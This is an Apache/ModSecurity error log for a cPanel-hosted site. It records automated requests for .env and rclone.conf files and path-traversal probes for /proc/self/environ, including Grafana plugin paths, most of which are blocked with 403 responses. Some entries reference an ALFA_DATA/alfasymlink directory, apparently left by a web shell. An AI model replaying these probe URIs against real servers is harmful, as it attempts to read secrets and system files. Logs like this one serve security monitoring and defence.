[Sun Oct 25 15:29:53.529798 2026] [security2:error] [pid 2882149:tid 2882149] [client 34.77.67.151:43868] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5YsVDc8NG2wzoJfYE3IQAAAAQ"]
[Sun Oct 25 15:29:53.529811 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5YsZv6gKcq3V_2QCvzLwAAAA0"]
[Sun Oct 25 15:29:53.530024 2026] [security2:error] [pid 2882149:tid 2882149] [client 34.77.67.151:43868] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5YsVDc8NG2wzoJfYE3IQAAAAQ"]
[Sun Oct 25 15:29:53.537313 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YscWCEnzf6if1-EsP8AAAACk"]
[Sun Oct 25 15:29:53.537723 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YscWCEnzf6if1-EsP8AAAACk"]
[Sun Oct 25 15:29:53.537927 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YscWCEnzf6if1-EsP8AAAACk"]
[Sun Oct 25 15:29:53.628813 2026] [core:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 15:29:53.917130 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5YsZv6gKcq3V_2QCvzMQAAAA0"]
[Sun Oct 25 15:29:53.917216 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5YsZv6gKcq3V_2QCvzMQAAAA0"]
[Sun Oct 25 15:29:53.917271 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5YsZv6gKcq3V_2QCvzMQAAAA0"]
[Sun Oct 25 15:29:53.917778 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5YsZv6gKcq3V_2QCvzMQAAAA0"]
[Sun Oct 25 15:29:53.917998 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5YsZv6gKcq3V_2QCvzMQAAAA0"]
[Sun Oct 25 15:29:54.048016 2026] [core:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43762] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 15:29:54.741501 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at5Ysrla3kGuFz6t2zRGJgAAAAA"]
[Sun Oct 25 15:29:54.741990 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at5Ysrla3kGuFz6t2zRGJgAAAAA"]
[Sun Oct 25 15:29:54.742209 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at5Ysrla3kGuFz6t2zRGJgAAAAA"]
[Sun Oct 25 15:29:55.625190 2026] [security2:error] [pid 2889265:tid 2889265] [client 34.77.67.151:43844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/studio"] [unique_id "at5Ys1ZS5RNQuzJFU76P_QAAAAc"]
[Sun Oct 25 15:29:55.625231 2026] [security2:error] [pid 2889265:tid 2889265] [client 34.77.67.151:43844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/studio"] [unique_id "at5Ys1ZS5RNQuzJFU76P_QAAAAc"]
[Sun Oct 25 15:29:56.471441 2026] [security2:error] [pid 2889286:tid 2889286] [client 34.77.67.151:43908] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/teachers"] [unique_id "at5YtPUtn1fKoc0UyRBUOwAAABg"]
[Sun Oct 25 15:29:56.471507 2026] [security2:error] [pid 2889286:tid 2889286] [client 34.77.67.151:43908] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/teachers"] [unique_id "at5YtPUtn1fKoc0UyRBUOwAAABg"]
[Sun Oct 25 15:29:56.643346 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5YtGpZ-EYaCoexNWvvtAAAADU"]
[Sun Oct 25 15:29:56.643735 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5YtGpZ-EYaCoexNWvvtAAAADU"]
[Sun Oct 25 15:29:56.644042 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5YtGpZ-EYaCoexNWvvtAAAADU"]
[Sun Oct 25 15:29:56.659210 2026] [core:error] [pid 2889286:tid 2889286] [client 34.77.67.151:43908] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:29:56.660487 2026] [core:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:29:56.661291 2026] [core:error] [pid 2889270:tid 2889270] [client 34.77.67.151:43890] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 15:29:56.687669 2026] [security2:error] [pid 2889284:tid 2889284] [client 34.77.67.151:43952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5YtPSYu3QYndMZq3iI3gAAABQ"]
[Sun Oct 25 15:29:56.687962 2026] [security2:error] [pid 2889284:tid 2889284] [client 34.77.67.151:43952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5YtPSYu3QYndMZq3iI3gAAABQ"]
[Sun Oct 25 15:29:56.688279 2026] [security2:error] [pid 2889284:tid 2889284] [client 34.77.67.151:43952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5YtPSYu3QYndMZq3iI3gAAABQ"]
[Sun Oct 25 15:29:56.697516 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5YtHWAJkvYyuEsFoLHggAAABc"]
[Sun Oct 25 15:29:56.697741 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5YtHWAJkvYyuEsFoLHggAAABc"]
[Sun Oct 25 15:29:56.698035 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5YtHWAJkvYyuEsFoLHggAAABc"]
[Sun Oct 25 15:29:56.704898 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:43826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5YtENgGhNT1R9I9L_-PwAAADE"]
[Sun Oct 25 15:29:56.705084 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:43826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5YtENgGhNT1R9I9L_-PwAAADE"]
[Sun Oct 25 15:29:56.705323 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:43826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5YtENgGhNT1R9I9L_-PwAAADE"]
[Sun Oct 25 15:29:59.066042 2026] [ssl:error] [pid 2889361:tid 2889361] (22)Invalid argument: [client 3.221.222.168:10713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:03.536666 2026] [ssl:error] [pid 2889362:tid 2889362] (70014)End of file found: [client 54.197.82.195:40018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:16.744974 2026] [core:error] [pid 2889283:tid 2889283] (13)Permission denied: [client 185.191.171.8:27926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/userplans
[Sun Oct 25 15:30:23.844921 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 54.225.81.20:1066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:27.370415 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 52.2.83.227:60007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:31.248654 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 35.171.141.42:64265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:35.208098 2026] [ssl:error] [pid 2889285:tid 2889285] (5)Input/output error: [client 52.6.5.24:58105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:30:51.283531 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 98.84.60.17:29649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/remove
[Sun Oct 25 15:30:55.264379 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 52.70.123.241:49323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:03/physical_node/rescan
[Sun Oct 25 15:31:17.384814 2026] [authz_core:error] [pid 2887616:tid 2887616] [client 34.52.139.66:36600] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:31:17.642694 2026] [authz_core:error] [pid 2889270:tid 2889270] [client 35.205.208.244:36240] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:31:19.672231 2026] [core:error] [pid 2887626:tid 2887626] (13)Permission denied: [client 3.213.106.226:7283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_balloon/bind
[Sun Oct 25 15:31:27.316708 2026] [core:error] [pid 2887616:tid 2887616] (13)Permission denied: [client 44.217.177.142:12795] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1f/eject
[Sun Oct 25 15:31:31.455218 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 34.224.9.144:43248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:31:35.439221 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 18.213.102.186:29229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:31:43.649462 2026] [ssl:error] [pid 2887616:tid 2887616] (70014)End of file found: [client 54.91.122.193:18980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:31:51.348976 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 50.19.79.213:28885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:31:53.488661 2026] [core:error] [pid 2889600:tid 2889600] (13)Permission denied: [client 185.191.171.13:63822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/destroy_by_rcu
[Sun Oct 25 15:31:59.207864 2026] [ssl:error] [pid 2889600:tid 2889600] (70014)End of file found: [client 3.229.2.217:55226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:02.101542 2026] [ssl:error] [pid 2889286:tid 2889286] (70014)End of file found: [client 85.208.96.206:12904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:03.399296 2026] [core:error] [pid 2887616:tid 2887616] (13)Permission denied: [client 184.73.239.35:10351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Sun Oct 25 15:32:07.677397 2026] [ssl:error] [pid 2889600:tid 2889600] (70014)End of file found: [client 44.194.139.149:28706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:08.469379 2026] [security2:error] [pid 2887568:tid 2887568] [client 185.191.171.5:27006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/encodings/euc_kr.py"] [unique_id "at5ZOD5pQLoBQNR0orBTGQAAAAs"]
[Sun Oct 25 15:32:08.469438 2026] [security2:error] [pid 2887568:tid 2887568] [client 185.191.171.5:27006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/encodings/euc_kr.py"] [unique_id "at5ZOD5pQLoBQNR0orBTGQAAAAs"]
[Sun Oct 25 15:32:43.102265 2026] [ssl:error] [pid 2887568:tid 2887568] (70014)End of file found: [client 52.203.237.170:7420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:52.365524 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 52.7.13.143:35232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:55.052052 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 35.170.205.140:61504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:32:58.999604 2026] [ssl:error] [pid 2889600:tid 2889600] (70014)End of file found: [client 44.207.207.36:2737] AH02013: coalesce failed to read from data bucket
